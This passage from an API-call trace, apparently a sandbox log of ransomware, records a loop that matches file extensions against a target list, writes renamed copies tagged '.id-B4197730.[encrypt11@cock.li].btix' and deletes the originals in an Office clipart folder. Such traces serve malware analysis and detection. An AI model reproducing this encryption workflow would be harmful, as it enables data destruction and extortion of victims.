(lpString1=".1cd", lpString2=".WMF") returned -1 [0153.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0153.102] lstrlenW (lpString=".jpg") returned 4 [0153.102] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0153.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0153.102] lstrlenW (lpString=".doc") returned 4 [0153.102] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.102] lstrlenW (lpString=".docx") returned 5 [0153.102] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.103] lstrlenW (lpString=".pdf") returned 4 [0153.103] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.103] lstrlenW (lpString=".xls") returned 4 [0153.103] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.103] lstrlenW (lpString=".xlsx") returned 5 [0153.103] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.103] lstrlenW (lpString=".ppt") returned 4 [0153.103] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0153.103] lstrlenW (lpString=".zip") returned 4 [0153.103] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.103] lstrlenW (lpString=".rar") returned 4 [0153.103] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.103] lstrlenW (lpString=".bz2") returned 4 [0153.103] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.103] lstrlenW (lpString=".7z") returned 3 [0153.103] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0153.103] lstrlenW (lpString=".dbf") returned 4 [0153.103] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0153.103] lstrlenW (lpString=".1cd") returned 4 [0153.103] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0153.103] lstrlenW (lpString=".jpg") returned 4 [0153.103] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.103] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0153.103] lstrlenW (lpString="J0107152.WMF") returned 12 [0153.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.104] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=22532) returned 1 [0153.104] CloseHandle (hObject=0x348) returned 1 [0153.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf")) returned 0x220 [0153.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0153.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.104] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.104] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0153.105] GetLastError () returned 0x0 [0153.105] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x5804, lpOverlapped=0x0) returned 1 [0153.105] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x5810, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x5810, lpOverlapped=0x0) returned 1 [0153.106] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.106] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.107] SetEndOfFile (hFile=0x378) returned 1 [0153.107] CloseHandle (hObject=0x378) returned 1 [0153.107] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.107] SetEndOfFile (hFile=0x348) returned 1 [0153.108] CloseHandle (hObject=0x348) returned 1 [0153.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf")) returned 1 [0153.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0153.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0153.108] lstrlenW (lpString=".doc") returned 4 [0153.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.108] lstrlenW (lpString=".docx") returned 5 [0153.108] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.108] lstrlenW (lpString=".pdf") returned 4 [0153.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.109] lstrlenW (lpString=".xls") returned 4 [0153.109] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.109] lstrlenW (lpString=".xlsx") returned 5 [0153.109] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.109] lstrlenW (lpString=".ppt") returned 4 [0153.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0153.109] lstrlenW (lpString=".zip") returned 4 [0153.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.109] lstrlenW (lpString=".rar") returned 4 [0153.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.109] lstrlenW (lpString=".bz2") returned 4 [0153.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.109] lstrlenW (lpString=".7z") returned 3 [0153.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0153.109] lstrlenW (lpString=".dbf") returned 4 [0153.109] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0153.109] lstrlenW (lpString=".1cd") returned 4 [0153.109] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0153.109] lstrlenW (lpString=".jpg") returned 4 [0153.109] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0153.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0153.109] lstrlenW (lpString=".doc") returned 4 [0153.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.110] lstrlenW (lpString=".docx") returned 5 [0153.110] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.110] lstrlenW (lpString=".pdf") returned 4 [0153.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.110] lstrlenW (lpString=".xls") returned 4 [0153.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.110] lstrlenW (lpString=".xlsx") returned 5 [0153.110] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.110] lstrlenW (lpString=".ppt") returned 4 [0153.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0153.110] lstrlenW (lpString=".zip") returned 4 [0153.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.110] lstrlenW (lpString=".rar") returned 4 [0153.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.110] lstrlenW (lpString=".bz2") returned 4 [0153.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.110] lstrlenW (lpString=".7z") returned 3 [0153.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0153.110] lstrlenW (lpString=".dbf") returned 4 [0153.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0153.110] lstrlenW (lpString=".1cd") returned 4 [0153.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0153.110] lstrlenW (lpString=".jpg") returned 4 [0153.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.110] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0153.110] lstrlenW (lpString="J0107154.WMF") returned 12 [0153.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.111] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=22300) returned 1 [0153.111] CloseHandle (hObject=0x348) returned 1 [0153.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf")) returned 0x220 [0153.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0153.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.111] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.111] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0153.112] GetLastError () returned 0x0 [0153.112] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x571c, lpOverlapped=0x0) returned 1 [0153.113] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x5720, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x5720, lpOverlapped=0x0) returned 1 [0153.114] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.114] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.114] SetEndOfFile (hFile=0x378) returned 1 [0153.114] CloseHandle (hObject=0x378) returned 1 [0153.114] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.114] SetEndOfFile (hFile=0x348) returned 1 [0153.115] CloseHandle (hObject=0x348) returned 1 [0153.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf")) returned 1 [0153.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0153.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0153.116] lstrlenW (lpString=".doc") returned 4 [0153.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.116] lstrlenW (lpString=".docx") returned 5 [0153.116] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0153.116] lstrlenW (lpString=".pdf") returned 4 [0153.116] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.116] lstrlenW (lpString=".xls") returned 4 [0153.116] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.116] lstrlenW (lpString=".xlsx") returned 5 [0153.116] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0153.116] lstrlenW (lpString=".ppt") returned 4 [0153.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0153.116] lstrlenW (lpString=".zip") returned 4 [0153.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.116] lstrlenW (lpString=".rar") returned 4 [0153.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.116] lstrlenW (lpString=".bz2") returned 4 [0153.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.116] lstrlenW (lpString=".7z") returned 3 [0153.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0153.116] lstrlenW (lpString=".dbf") returned 4 [0153.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0153.117] lstrlenW (lpString=".1cd") returned 4 [0153.117] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF") returned 68 [0153.117] lstrlenW (lpString=".jpg") returned 4 [0153.117] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.117] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.117] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0153.118] GetLastError () returned 0x0 [0153.118] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x614c, lpOverlapped=0x0) returned 1 [0153.119] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x6150, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x6150, lpOverlapped=0x0) returned 1 [0153.120] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.120] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.120] SetEndOfFile (hFile=0x378) returned 1 [0153.120] CloseHandle (hObject=0x378) returned 1 [0153.120] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.120] SetEndOfFile (hFile=0x348) returned 1 [0153.121] CloseHandle (hObject=0x348) returned 1 [0153.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.121] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf")) returned 1 [0153.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0153.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0153.121] lstrlenW (lpString=".doc") returned 4 [0153.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.121] lstrlenW (lpString=".docx") returned 5 [0153.121] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0153.121] lstrlenW (lpString=".pdf") returned 4 [0153.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.122] lstrlenW (lpString=".xls") returned 4 [0153.122] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.122] lstrlenW (lpString=".xlsx") returned 5 [0153.122] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0153.122] lstrlenW (lpString=".ppt") returned 4 [0153.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0153.122] lstrlenW (lpString=".zip") returned 4 [0153.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.122] lstrlenW (lpString=".rar") returned 4 [0153.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.122] lstrlenW (lpString=".bz2") returned 4 [0153.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.122] lstrlenW (lpString=".7z") returned 3 [0153.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0153.122] lstrlenW (lpString=".dbf") returned 4 [0153.122] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0153.122] lstrlenW (lpString=".1cd") returned 4 [0153.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF") returned 68 [0153.122] lstrlenW (lpString=".jpg") returned 4 [0153.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.122] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.122] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0153.123] GetLastError () returned 0x0 [0153.123] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x3ee4, lpOverlapped=0x0) returned 1 [0153.124] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x3ef0, lpOverlapped=0x0) returned 1 [0153.125] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.125] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.125] SetEndOfFile (hFile=0x378) returned 1 [0153.125] CloseHandle (hObject=0x378) returned 1 [0153.125] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.126] SetEndOfFile (hFile=0x348) returned 1 [0153.126] CloseHandle (hObject=0x348) returned 1 [0153.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.127] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf")) returned 1 [0153.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0153.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0153.127] lstrlenW (lpString=".doc") returned 4 [0153.127] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.127] lstrlenW (lpString=".docx") returned 5 [0153.127] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.127] lstrlenW (lpString=".pdf") returned 4 [0153.127] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.127] lstrlenW (lpString=".xls") returned 4 [0153.127] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.127] lstrlenW (lpString=".xlsx") returned 5 [0153.127] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.127] lstrlenW (lpString=".ppt") returned 4 [0153.127] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68 [0153.127] lstrlenW (lpString=".zip") returned 4 [0153.127] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.127] lstrlenW (lpString=".rar") returned 4 [0153.127] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.127] lstrlenW (lpString=".bz2") returned 4 [0153.127] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.127] lstrlenW (lpString=".7z") returned 3 [0153.127] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.127] lstrlenW (lpString="C:\\Program Files\\Microsoft 